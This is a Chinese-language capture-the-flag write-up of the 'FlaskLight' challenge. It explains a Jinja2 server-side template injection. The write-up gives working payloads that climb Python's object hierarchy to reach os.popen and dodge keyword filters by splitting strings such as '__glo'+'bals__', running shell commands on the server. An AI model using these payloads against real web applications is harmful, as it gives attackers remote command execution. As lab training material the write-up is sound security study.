[CSCCTF 2019 Qual]FlaskLight ---不会编程的崽

疯狂肝模板题。

模板注入点需要找到，源码已经给提示了

可以判断，这是jinja2模板 

 

?search={{[].__class__.__bases__[0].__subclasses__()[40]}}

 

这里已经可以读取文件了，但是flag的路径与文件名都不清楚。所有还是要找个能执行命令的函数。

先找到下边这个类

?search={{[].__class__.__bases__[0].__subclasses__()[59]}}

 

因为[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval，__import__等的全局函数，可以利用此来执行命令

一定要要注意，这题它是有过滤的，但是它并不显示，而是报错，我在这搞了好久。。。需要对关键字进行分割

{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}}

 现在就简单了。我们读一下config，它说flag在当前目录下。当前目录应该在/flasklight

当前目录应该在/flasklight

{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /flasklight').read()}}

 已经看到了，就在这个文件里了

{{[].__class__.__bases__[0].__subclasses__()[59].__init__[%27__glo%27+%27bals__%27][%27__bu%27+%27iltins__%27][%27__imp%27+%27ort__%27](%27os%27).__dict__[%27pop%27+%27en%27](%27ls%20/flasklight/coomme_geeeett_youur_flek%27).read()}}

 

 结束。拿到flag。这种模板题一般都这个套路